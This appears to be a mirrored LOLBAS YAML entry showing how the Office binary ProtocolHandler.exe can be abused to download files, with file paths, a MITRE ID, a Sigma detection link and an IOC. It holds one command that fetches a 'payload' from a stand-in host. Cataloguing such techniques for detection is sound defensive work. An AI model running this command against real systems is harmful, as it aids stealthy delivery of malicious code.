mirror of
https://github.com/LOLBAS-Project/LOLBAS
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29 lines
1.5 KiB
YAML
29 lines
1.5 KiB
YAML
---
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Name: ProtocolHandler.exe
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Description: Microsoft Office binary
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Author: Nir Chako
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Created: 2022-07-24
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Commands:
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- Command: ProtocolHandler.exe https://example.com/payload
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Description: Downloads payload from remote server
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Usecase: "It will open the specified URL in the default web browser, which (if the URL points to a file) will often result in the file being downloaded to the user's Downloads folder (without user interaction)"
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows 10, Windows 11
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Full_Path:
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- Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\ProtocolHandler.exe
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- Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\ProtocolHandler.exe
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- Path: C:\Program Files (x86)\Microsoft Office\Office16\ProtocolHandler.exe
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- Path: C:\Program Files\Microsoft Office\Office16\ProtocolHandler.exe
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- Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\ProtocolHandler.exe
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- Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\ProtocolHandler.exe
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- Path: C:\Program Files (x86)\Microsoft Office\Office15\ProtocolHandler.exe
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- Path: C:\Program Files\Microsoft Office\Office15\ProtocolHandler.exe
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_lolbin_protocolhandler_download.yml
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- IOC: Suspicious Office application Internet/network traffic
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Acknowledgement:
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- Person: Nir Chako (Pentera)
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Handle: '@C_h4ck_0'
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